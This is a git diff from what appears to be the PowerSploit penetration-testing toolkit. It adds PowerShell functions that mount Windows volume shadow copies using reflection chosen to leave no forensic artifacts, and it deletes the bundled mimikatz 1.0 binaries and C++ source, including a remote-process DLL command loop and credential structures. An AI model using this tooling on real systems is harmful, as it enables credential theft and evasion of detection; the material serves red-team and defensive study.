diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1
index 48b7df6..75400a1 100644
--- a/Exfiltration/Get-Keystrokes.ps1
+++ b/Exfiltration/Get-Keystrokes.ps1
@@ -1,4 +1,4 @@
-function Get-Keystrokes {
+function Get-Keystrokes {
<#
.SYNOPSIS
@@ -246,4 +246,4 @@
} | Out-Null
}
-}
\ No newline at end of file
+}
diff --git a/Exfiltration/Get-TimedScreenshot.ps1 b/Exfiltration/Get-TimedScreenshot.ps1
index c14c723..e1ca823 100644
--- a/Exfiltration/Get-TimedScreenshot.ps1
+++ b/Exfiltration/Get-TimedScreenshot.ps1
@@ -1,4 +1,4 @@
-function Get-TimedScreenshot
+function Get-TimedScreenshot
{
<#
.SYNOPSIS
diff --git a/Exfiltration/Invoke-Mimikatz.ps1 b/Exfiltration/Invoke-Mimikatz.ps1
index ef96260..adce579 100644
--- a/Exfiltration/Invoke-Mimikatz.ps1
+++ b/Exfiltration/Invoke-Mimikatz.ps1
@@ -2710,4 +2710,4 @@ Function Main
}
Main
-}
\ No newline at end of file
+}
diff --git a/Exfiltration/Invoke-NinjaCopy.ps1 b/Exfiltration/Invoke-NinjaCopy.ps1
index cfa763f..7ff5bfa 100644
--- a/Exfiltration/Invoke-NinjaCopy.ps1
+++ b/Exfiltration/Invoke-NinjaCopy.ps1
@@ -2845,4 +2845,4 @@ Main
[GC]::Collect()
[GC]::Collect()
-}
\ No newline at end of file
+}
diff --git a/Exfiltration/Invoke-TokenManipulation.ps1 b/Exfiltration/Invoke-TokenManipulation.ps1
index e904cdb..8c8b7b4 100644
--- a/Exfiltration/Invoke-TokenManipulation.ps1
+++ b/Exfiltration/Invoke-TokenManipulation.ps1
@@ -1,4 +1,4 @@
-function Invoke-TokenManipulation
+function Invoke-TokenManipulation
{
<#
.SYNOPSIS
diff --git a/Exfiltration/Out-Minidump.ps1 b/Exfiltration/Out-Minidump.ps1
index afb7dc9..a43ee0f 100644
--- a/Exfiltration/Out-Minidump.ps1
+++ b/Exfiltration/Out-Minidump.ps1
@@ -1,4 +1,4 @@
-function Out-Minidump
+function Out-Minidump
{
<#
.SYNOPSIS
@@ -127,4 +127,4 @@
}
END {}
-}
\ No newline at end of file
+}
diff --git a/Exfiltration/VolumeShadowCopyTools.ps1 b/Exfiltration/VolumeShadowCopyTools.ps1
new file mode 100644
index 0000000..e8c28a1
--- /dev/null
+++ b/Exfiltration/VolumeShadowCopyTools.ps1
@@ -0,0 +1,147 @@
+function Get-VolumeShadowCopy
+{
+<#
+.SYNOPSIS
+
+ Lists the device paths of all local volume shadow copies.
+
+ PowerSploit Function: Get-VolumeShadowCopy
+ Author: Matthew Graeber (@mattifestation)
+ License: BSD 3-Clause
+ Required Dependencies: None
+ Optional Dependencies: None
+ Version: 2.0.0
+#>
+
+ $UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent())
+
+ if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
+ {
+ Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.'
+ }
+
+ Get-WmiObject Win32_ShadowCopy | ForEach-Object { $_.DeviceObject }
+}
+
+function Mount-VolumeShadowCopy
+{
+<#
+.SYNOPSIS
+
+ Mounts a volume shadow copy.
+
+ PowerSploit Function: Mount-VolumeShadowCopy
+ Author: Matthew Graeber (@mattifestation)
+ License: BSD 3-Clause
+ Required Dependencies: None
+ Optional Dependencies: None
+ Version: 2.0.0
+
+.DESCRIPTION
+
+ Mount-VolumeShadowCopy mounts a volume shadow copy volume by creating a symbolic link.
+
+.PARAMETER Path
+
+ Specifies the path to which the symbolic link for the mounted volume shadow copy will be saved.
+
+.PARAMETER DevicePath
+
+ Specifies the volume shadow copy 'DeviceObject' path. This path can be retrieved with the Get-VolumeShadowCopy PowerSploit function or with the Win32_ShadowCopy object.
+
+.EXAMPLE
+
+ Get-VolumeShadowCopy | Mount-VolumeShadowCopy -Path C:\VSS
+
+ Description
+ -----------
+ Create a mount point in 'C:\VSS' for each volume shadow copy volume
+
+.EXAMPLE
+
+ Mount-VolumeShadowCopy -Path C:\VSS -DevicePath '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4'
+
+.EXAMPLE
+
+ Get-WmiObject Win32_ShadowCopy | % { $_.DeviceObject -Path C:\VSS -DevicePath $_ }
+#>
+
+ Param (
+ [Parameter(Mandatory = $True)]
+ [ValidateNotNullOrEmpty()]
+ [String]
+ $Path,
+
+ [Parameter(Mandatory = $True, ValueFromPipeline = $True)]
+ [ValidatePattern('^\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[0-9]{1,3}$')]
+ [String[]]
+ $DevicePath
+ )
+
+ BEGIN
+ {
+ $UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent())
+
+ if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
+ {
+ Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.'
+ }
+
+ # Validate that the path exists before proceeding
+ Get-ChildItem $Path -ErrorAction Stop | Out-Null
+
+ $DynAssembly = New-Object System.Reflection.AssemblyName('VSSUtil')
+ $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('VSSUtil', $False)
+
+ # Define [VSS.Kernel32]::CreateSymbolicLink method using reflection
+ # (i.e. none of the forensic artifacts left with using Add-Type)
+ $TypeBuilder = $ModuleBuilder.DefineType('VSS.Kernel32', 'Public, Class')
+ $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateSymbolicLink',
+ 'kernel32.dll',
+ ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
+ [Reflection.CallingConventions]::Standard,
+ [Bool],
+ [Type[]]@([String], [String], [UInt32]),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ [Runtime.InteropServices.CharSet]::Auto)
+ $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
+ $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')
+ $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,
+ @('kernel32.dll'),
+ [Reflection.FieldInfo[]]@($SetLastError),
+ @($true))
+ $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
+
+ $Kernel32Type = $TypeBuilder.CreateType()
+ }
+
+ PROCESS
+ {
+ foreach ($Volume in $DevicePath)
+ {
+ $Volume -match '^\\\\\?\\GLOBALROOT\\Device\\(?HarddiskVolumeShadowCopy[0-9]{1,3})$' | Out-Null
+
+ $LinkPath = Join-Path $Path $Matches.LinkName
+
+ if (Test-Path $LinkPath)
+ {
+ Write-Warning "'$LinkPath' already exists."
+ continue
+ }
+
+ if (-not $Kernel32Type::CreateSymbolicLink($LinkPath, "$($Volume)\", 1))
+ {
+ Write-Error "Symbolic link creation failed for '$Volume'."
+ continue
+ }
+
+ Get-Item $LinkPath
+ }
+ }
+
+ END
+ {
+
+ }
+}
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/Win32/kappfree.dll b/Exfiltration/mimikatz-1.0/Win32/kappfree.dll
deleted file mode 100644
index 83b3a43..0000000
Binary files a/Exfiltration/mimikatz-1.0/Win32/kappfree.dll and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/Win32/kappfree.exp b/Exfiltration/mimikatz-1.0/Win32/kappfree.exp
deleted file mode 100644
index a6fb957..0000000
Binary files a/Exfiltration/mimikatz-1.0/Win32/kappfree.exp and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/Win32/kappfree.lib b/Exfiltration/mimikatz-1.0/Win32/kappfree.lib
deleted file mode 100644
index 0f5d047..0000000
Binary files a/Exfiltration/mimikatz-1.0/Win32/kappfree.lib and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/Win32/kelloworld.dll b/Exfiltration/mimikatz-1.0/Win32/kelloworld.dll
deleted file mode 100644
index ea6081a..0000000
Binary files a/Exfiltration/mimikatz-1.0/Win32/kelloworld.dll and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/Win32/kelloworld.exp b/Exfiltration/mimikatz-1.0/Win32/kelloworld.exp
deleted file mode 100644
index ce21b16..0000000
Binary files a/Exfiltration/mimikatz-1.0/Win32/kelloworld.exp and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/Win32/kelloworld.lib b/Exfiltration/mimikatz-1.0/Win32/kelloworld.lib
deleted file mode 100644
index 5328cbd..0000000
Binary files a/Exfiltration/mimikatz-1.0/Win32/kelloworld.lib and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/Win32/klock.dll b/Exfiltration/mimikatz-1.0/Win32/klock.dll
deleted file mode 100644
index d78b442..0000000
Binary files a/Exfiltration/mimikatz-1.0/Win32/klock.dll and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/Win32/klock.exp b/Exfiltration/mimikatz-1.0/Win32/klock.exp
deleted file mode 100644
index 947406f..0000000
Binary files a/Exfiltration/mimikatz-1.0/Win32/klock.exp and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/Win32/klock.lib b/Exfiltration/mimikatz-1.0/Win32/klock.lib
deleted file mode 100644
index 40c5c8d..0000000
Binary files a/Exfiltration/mimikatz-1.0/Win32/klock.lib and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/Win32/mimikatz.dll b/Exfiltration/mimikatz-1.0/Win32/mimikatz.dll
deleted file mode 100644
index 028d15a..0000000
Binary files a/Exfiltration/mimikatz-1.0/Win32/mimikatz.dll and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/Win32/mimikatz.exe b/Exfiltration/mimikatz-1.0/Win32/mimikatz.exe
deleted file mode 100644
index d92b2f7..0000000
Binary files a/Exfiltration/mimikatz-1.0/Win32/mimikatz.exe and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/Win32/mimikatz.exp b/Exfiltration/mimikatz-1.0/Win32/mimikatz.exp
deleted file mode 100644
index 0de4a90..0000000
Binary files a/Exfiltration/mimikatz-1.0/Win32/mimikatz.exp and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/Win32/mimikatz.lib b/Exfiltration/mimikatz-1.0/Win32/mimikatz.lib
deleted file mode 100644
index b98eea9..0000000
Binary files a/Exfiltration/mimikatz-1.0/Win32/mimikatz.lib and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/Win32/sekurlsa.dll b/Exfiltration/mimikatz-1.0/Win32/sekurlsa.dll
deleted file mode 100644
index 0cb9638..0000000
Binary files a/Exfiltration/mimikatz-1.0/Win32/sekurlsa.dll and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/Win32/sekurlsa.exp b/Exfiltration/mimikatz-1.0/Win32/sekurlsa.exp
deleted file mode 100644
index a7fd6eb..0000000
Binary files a/Exfiltration/mimikatz-1.0/Win32/sekurlsa.exp and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/Win32/sekurlsa.lib b/Exfiltration/mimikatz-1.0/Win32/sekurlsa.lib
deleted file mode 100644
index cdcf2b5..0000000
Binary files a/Exfiltration/mimikatz-1.0/Win32/sekurlsa.lib and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/commun/globdefs.h b/Exfiltration/mimikatz-1.0/commun/globdefs.h
deleted file mode 100644
index d579a3b..0000000
--- a/Exfiltration/mimikatz-1.0/commun/globdefs.h
+++ /dev/null
@@ -1,128 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#pragma once
-#pragma warning(disable:4530)
-#include
-#include
-#include
-#include
-#include
-using namespace std;
-
-#define SECURITY_WIN32
-#define PAGE_SIZE 0x1000
-#define MAX_DOMAIN_LEN 24
-#define MAX_USERNAME_LEN 24
-
-#define MIMIKATZ L"mimikatz"
-#ifdef _M_X64
- #define MIMIKATZ_FULL L"mimikatz 1.0 x64 (RC)"
-#else ifdef
- #define MIMIKATZ_FULL L"mimikatz 1.0 x86 (RC)"
-#endif
-
-#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
-#define NT_INFORMATION(Status) ((((ULONG)(Status)) >> 30) == 1)
-#define NT_WARNING(Status) ((((ULONG)(Status)) >> 30) == 2)
-#define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3)
-
-#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
-#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L)
-#define STATUS_MORE_ENTRIES ((NTSTATUS)0x00000105L)
-
-#define S_SWAP(a, b) {BYTE t = S[a]; S[a] = S[b]; S[b] = t;}
-
-typedef bool (* PKIWI_LOCAL_COMMAND) (vector * arguments);
-
-typedef struct _KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND {
- PKIWI_LOCAL_COMMAND ptrCommand;
- wstring commandName;
- wstring commandHelp;
- _KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(PKIWI_LOCAL_COMMAND command, wstring name, wstring help) : ptrCommand(command), commandName(name), commandHelp(help) {}
- _KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(PKIWI_LOCAL_COMMAND command, wstring name) : ptrCommand(command), commandName(name), commandHelp() {}
-} KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND, *PKIWI_MIMIKATZ_LOCAL_MODULE_COMMAND;
-
-typedef struct _KIWI_MIMIKATZ_LOCAL_MODULE {
- wstring module;
- wstring description;
- vector commandes;
- _KIWI_MIMIKATZ_LOCAL_MODULE(wstring leModule, wstring laDescription, vector lesCommandes) : module(leModule), description(laDescription), commandes(lesCommandes) {}
-} KIWI_MIMIKATZ_LOCAL_MODULE, *PKIWI_MIMIKATZ_LOCAL_MODULE;
-
-typedef struct _CLIENT_ID {
- PVOID UniqueProcess;
- PVOID UniqueThread;
-} CLIENT_ID, *PCLIENT_ID;
-
-typedef const ULONG CLONG;
-typedef const UNICODE_STRING *PCUNICODE_STRING;
-typedef STRING OEM_STRING;
-typedef PSTRING POEM_STRING;
-typedef CONST STRING* PCOEM_STRING;
-
-/* System* */
-typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_006) (LPCSTR string, BYTE hash[16]);
-typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_007) (PUNICODE_STRING string, BYTE hash[16]);
-typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_025) (BYTE[16], DWORD *, BYTE[16]);
-typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_027) (BYTE[16], DWORD *, BYTE[16]);
-/* CNG */
-typedef SECURITY_STATUS (WINAPI * PNCRYPT_OPEN_STORAGE_PROVIDER) (__out NCRYPT_PROV_HANDLE *phProvider, __in_opt LPCWSTR pszProviderName, __in DWORD dwFlags);
-typedef SECURITY_STATUS (WINAPI * PNCRYPT_ENUM_KEYS) (__in NCRYPT_PROV_HANDLE hProvider, __in_opt LPCWSTR pszScope, __deref_out NCryptKeyName **ppKeyName, __inout PVOID * ppEnumState, __in DWORD dwFlags);
-typedef SECURITY_STATUS (WINAPI * PNCRYPT_OPEN_KEY) (__in NCRYPT_PROV_HANDLE hProvider, __out NCRYPT_KEY_HANDLE *phKey, __in LPCWSTR pszKeyName, __in DWORD dwLegacyKeySpec, __in DWORD dwFlags);
-typedef SECURITY_STATUS (WINAPI * PNCRYPT_EXPORT_KEY) (__in NCRYPT_KEY_HANDLE hKey, __in_opt NCRYPT_KEY_HANDLE hExportKey, __in LPCWSTR pszBlobType, __in_opt NCryptBufferDesc *pParameterList, __out_opt PBYTE pbOutput, __in DWORD cbOutput, __out DWORD *pcbResult, __in DWORD dwFlags);
-typedef SECURITY_STATUS (WINAPI * PNCRYPT_GET_PROPERTY) (__in NCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __out_bcount_part_opt(cbOutput, *pcbResult) PBYTE pbOutput, __in DWORD cbOutput, __out DWORD * pcbResult, __in DWORD dwFlags);
-typedef SECURITY_STATUS (WINAPI * PNCRYPT_FREE_BUFFER) (__deref PVOID pvInput);
-typedef SECURITY_STATUS (WINAPI * PNCRYPT_FREE_OBJECT) (__in NCRYPT_HANDLE hObject);
-typedef NTSTATUS (WINAPI * PBCRYPT_ENUM_REGISTERED_PROVIDERS)(__inout ULONG* pcbBuffer, __deref_opt_inout_bcount_part_opt(*pcbBuffer, *pcbBuffer) PCRYPT_PROVIDERS *ppBuffer);
-typedef VOID (WINAPI * PBCRYPT_FREE_BUFFER) (__in PVOID pvBuffer);
-
-typedef NTSTATUS (WINAPI * PBCRYPT_OPEN_ALGORITHM_PROVIDER) (__out BCRYPT_ALG_HANDLE *phAlgorithm, __in LPCWSTR pszAlgId, __in_opt LPCWSTR pszImplementation, __in ULONG dwFlags);
-typedef NTSTATUS (WINAPI * PBCRYPT_SET_PROPERTY) (__inout BCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __in_bcount(cbInput) PUCHAR pbInput, __in ULONG cbInput, __in ULONG dwFlags);
-typedef NTSTATUS (WINAPI * PBCRYPT_GET_PROPERTY) (__in BCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __out_bcount_part_opt(cbOutput, *pcbResult) PUCHAR pbOutput, __in ULONG cbOutput, __out ULONG *pcbResult, __in ULONG dwFlags);
-typedef NTSTATUS (WINAPI * PBCRYPT_GENERATE_SYMMETRIC_KEY) (__inout BCRYPT_ALG_HANDLE hAlgorithm, __out BCRYPT_KEY_HANDLE *phKey, __out_bcount_full_opt(cbKeyObject) PUCHAR pbKeyObject, __in ULONG cbKeyObject, __in_bcount(cbSecret) PUCHAR pbSecret, __in ULONG cbSecret, __in ULONG dwFlags);
-typedef NTSTATUS (WINAPI * PBCRYTP_DESTROY_KEY) (__inout BCRYPT_KEY_HANDLE hKey);
-typedef NTSTATUS (WINAPI * PBCRYTP_CLOSE_ALGORITHM_PROVIDER) (__inout BCRYPT_ALG_HANDLE hAlgorithm, __in ULONG dwFlags);
-
-/* Rtl* */
-#define RtlEqualLuid(L1, L2) (((L1)->LowPart == (L2)->LowPart) && ((L1)->HighPart == (L2)->HighPart))
-typedef NTSTATUS (WINAPI * PRTL_CREATE_USER_THREAD) (__in HANDLE Process, __in_opt PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, __in char Flags, __in_opt ULONG ZeroBits, __in_opt SIZE_T MaximumStackSize, __in_opt SIZE_T CommittedStackSize, __in PTHREAD_START_ROUTINE StartAddress, __in_opt PVOID Parameter, __out_opt PHANDLE Thread, __out_opt PCLIENT_ID ClientId);
-typedef VOID (WINAPI * PRTL_INIT_STRING) (PSTRING DestinationString, PCSTR SourceString);
-typedef VOID (WINAPI * PRTL_INIT_UNICODESTRING) (PUNICODE_STRING DestinationString, PCWSTR SourceString);
-typedef NTSTATUS (WINAPI * PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING) (POEM_STRING DestinationString, PCUNICODE_STRING SourceString, BOOLEAN AllocateDestinationString);
-typedef VOID (WINAPI * PRTL_FREE_OEM_STRING) (POEM_STRING OemString);
-typedef PVOID (WINAPI * PRTL_LOOKUP_ELEMENT_GENERIC_TABLE_AV) (__in struct _RTL_AVL_TABLE *Table, __in PVOID Buffer);
-typedef enum _RTL_GENERIC_COMPARE_RESULTS (WINAPI * PRTL_AVL_COMPARE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in PVOID FirstStruct, __in PVOID SecondStruct);
-typedef PVOID (WINAPI * PRTL_AVL_ALLOCATE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in CLONG ByteSize);
-typedef VOID (WINAPI * PRTL_AVL_FREE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in PVOID Buffer);
-
-typedef struct _RTL_BALANCED_LINKS {
- struct _RTL_BALANCED_LINKS *Parent;
- struct _RTL_BALANCED_LINKS *LeftChild;
- struct _RTL_BALANCED_LINKS *RightChild;
- CHAR Balance;
- UCHAR Reserved[3];
-} RTL_BALANCED_LINKS;
-typedef RTL_BALANCED_LINKS *PRTL_BALANCED_LINKS;
-
-typedef enum _RTL_GENERIC_COMPARE_RESULTS {
- GenericLessThan,
- GenericGreaterThan,
- GenericEqual
-} RTL_GENERIC_COMPARE_RESULTS;
-
-typedef struct _RTL_AVL_TABLE {
- RTL_BALANCED_LINKS BalancedRoot;
- PVOID OrderedPointer;
- ULONG WhichOrderedElement;
- ULONG NumberGenericTableElements;
- ULONG DepthOfTree;
- PRTL_BALANCED_LINKS RestartKey;
- ULONG DeleteCount;
- PRTL_AVL_COMPARE_ROUTINE CompareRoutine;
- PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine;
- PRTL_AVL_FREE_ROUTINE FreeRoutine;
- PVOID TableContext;
-} RTL_AVL_TABLE, *PRTL_AVL_TABLE;
diff --git a/Exfiltration/mimikatz-1.0/commun/icons/cmd_32.ico b/Exfiltration/mimikatz-1.0/commun/icons/cmd_32.ico
deleted file mode 100644
index 9ac92da..0000000
Binary files a/Exfiltration/mimikatz-1.0/commun/icons/cmd_32.ico and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/commun/icons/cmd_48.ico b/Exfiltration/mimikatz-1.0/commun/icons/cmd_48.ico
deleted file mode 100644
index 79edffc..0000000
Binary files a/Exfiltration/mimikatz-1.0/commun/icons/cmd_48.ico and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/commun/icons/cmd_kiwi.ico b/Exfiltration/mimikatz-1.0/commun/icons/cmd_kiwi.ico
deleted file mode 100644
index 2285d1c..0000000
Binary files a/Exfiltration/mimikatz-1.0/commun/icons/cmd_kiwi.ico and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_bird.ico b/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_bird.ico
deleted file mode 100644
index 745963e..0000000
Binary files a/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_bird.ico and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit.ico b/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit.ico
deleted file mode 100644
index 7497143..0000000
Binary files a/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit.ico and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit_16.ico b/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit_16.ico
deleted file mode 100644
index 07df30f..0000000
Binary files a/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit_16.ico and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/commun/icons/regedit_32.ico b/Exfiltration/mimikatz-1.0/commun/icons/regedit_32.ico
deleted file mode 100644
index 67b1100..0000000
Binary files a/Exfiltration/mimikatz-1.0/commun/icons/regedit_32.ico and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/commun/icons/regedit_48.ico b/Exfiltration/mimikatz-1.0/commun/icons/regedit_48.ico
deleted file mode 100644
index 6d7f787..0000000
Binary files a/Exfiltration/mimikatz-1.0/commun/icons/regedit_48.ico and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/commun/icons/regedit_kiwi.ico b/Exfiltration/mimikatz-1.0/commun/icons/regedit_kiwi.ico
deleted file mode 100644
index 805707a..0000000
Binary files a/Exfiltration/mimikatz-1.0/commun/icons/regedit_kiwi.ico and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_32.ico b/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_32.ico
deleted file mode 100644
index a1c08e5..0000000
Binary files a/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_32.ico and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_48.ico b/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_48.ico
deleted file mode 100644
index ea38a48..0000000
Binary files a/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_48.ico and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_kiwi.ico b/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_kiwi.ico
deleted file mode 100644
index 27adde3..0000000
Binary files a/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_kiwi.ico and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/commun/kmodel.cpp b/Exfiltration/mimikatz-1.0/commun/kmodel.cpp
deleted file mode 100644
index a87ea8f..0000000
--- a/Exfiltration/mimikatz-1.0/commun/kmodel.cpp
+++ /dev/null
@@ -1,139 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#include "kmodel.h"
-
-HMODULE g_hModule = NULL;
-
-BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
-{
- if (ul_reason_for_call == DLL_PROCESS_ATTACH)
- {
- g_hModule = hModule;
-
- HANDLE hThread = CreateThread(NULL, 0, &ThreadProc, NULL, 0, NULL);
- if(hThread && hThread != INVALID_HANDLE_VALUE)
- {
- return CloseHandle(hThread);
- }
- }
- return TRUE;
-}
-
-DWORD WINAPI ThreadProc(LPVOID lpParameter)
-{
- mod_pipe * monCommunicator = new mod_pipe(L"kiwi\\mimikatz");
-
- bool succes = false;
- for(DWORD nbRetry = 1; nbRetry <= 5 && !succes; nbRetry++)
- {
- succes = monCommunicator->createClient();
- if(!succes)
- {
- Sleep(3000);
- }
- }
-
- if(succes)
- {
- ptrFunctionString maFonctionString = reinterpret_cast(GetProcAddress(g_hModule, "getDescription"));
-
- wstring monBuffer = L"Bienvenue dans un processus distant\n\t\t\tGentil Kiwi";
- if(maFonctionString)
- {
- wstring * maDescription = new wstring();
- if(maFonctionString(maDescription))
- {
- monBuffer.append(L"\n\n");
- monBuffer.append(*maDescription);
- }
- delete maDescription;
- }
-
-
-
- if(monCommunicator->writeToPipe(monBuffer))
- {
- for(;;)
- {
- if(monCommunicator->readFromPipe(monBuffer))
- {
- wstring fonction = monBuffer;
- vector arguments;
-
- size_t monIndex = fonction.find(L' ');
-
- if(monIndex != wstring::npos)
- {
- arguments = mod_parseur::parse(fonction.substr(monIndex + 1));
- fonction = fonction.substr(0, monIndex);
- }
-
- string procDll(fonction.begin(), fonction.end());
-
- ptrFunction maFonction = reinterpret_cast(GetProcAddress(g_hModule, procDll.c_str()));
-
- if(maFonction)
- {
- if(maFonction(monCommunicator, &arguments))
- {
- monBuffer = L"@";
- }
- else // La fonction retourn FALSE, il y a donc anomalie bloquante sur le canal
- {
- break;
- }
- }
- else
- {
- monBuffer = L"@Mthode \'";
- monBuffer.append(fonction);
- monBuffer.append(L"\' introuvable !\n");
- }
-
- if(!monCommunicator->writeToPipe(monBuffer))
- {
- break;
- }
- }
- else
- {
- break;
- }
- }
- }
- }
-
- delete monCommunicator;
-
- FreeLibraryAndExitThread(g_hModule, 0);
- return 0;
-}
-
-bool sendTo(mod_pipe * monPipe, wstring message)
-{
- wstring reponse = L"#";
- reponse.append(message);
-
- return monPipe->writeToPipe(reponse);
-}
-
-
-__kextdll bool __cdecl ping(mod_pipe * monPipe, vector * mesArguments)
-{
- bool sendOk = sendTo(monPipe, L"pong");
-
- for(vector::iterator monArgument = mesArguments->begin(); monArgument != mesArguments->end() && sendOk; monArgument++)
- {
- wstring maReponse = L" - argument:";
- maReponse.append(*monArgument);
- sendOk = sendTo(monPipe, maReponse);
- }
-
- if(sendOk)
- sendOk = sendTo(monPipe, L"\n");
-
- return sendOk;
-}
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/commun/kmodel.h b/Exfiltration/mimikatz-1.0/commun/kmodel.h
deleted file mode 100644
index 65bd912..0000000
--- a/Exfiltration/mimikatz-1.0/commun/kmodel.h
+++ /dev/null
@@ -1,21 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#pragma once
-#include "globdefs.h"
-#include "mod_pipe.h"
-#include "mod_parseur.h"
-
-#define __kextdll extern "C" __declspec(dllexport)
-
-typedef bool (__cdecl * ptrFunction) (mod_pipe * monPipe, vector * mesArguments);
-typedef bool (__cdecl * ptrFunctionString) (wstring * maDescription);
-
-BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved);
-DWORD WINAPI ThreadProc(LPVOID lpParameter);
-
-bool sendTo(mod_pipe * monPipe, wstring message);
-
-__kextdll bool __cdecl ping(mod_pipe * monPipe, vector * mesArguments);
diff --git a/Exfiltration/mimikatz-1.0/commun/secpkg.h b/Exfiltration/mimikatz-1.0/commun/secpkg.h
deleted file mode 100644
index 385307d..0000000
--- a/Exfiltration/mimikatz-1.0/commun/secpkg.h
+++ /dev/null
@@ -1,239 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
- Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#pragma once
-#include "globdefs.h"
-#include
-#include
-
-typedef struct _KIWI_GENERIC_PRIMARY_CREDENTIAL
-{
- LSA_UNICODE_STRING UserName;
- LSA_UNICODE_STRING Domaine;
- LSA_UNICODE_STRING Password;
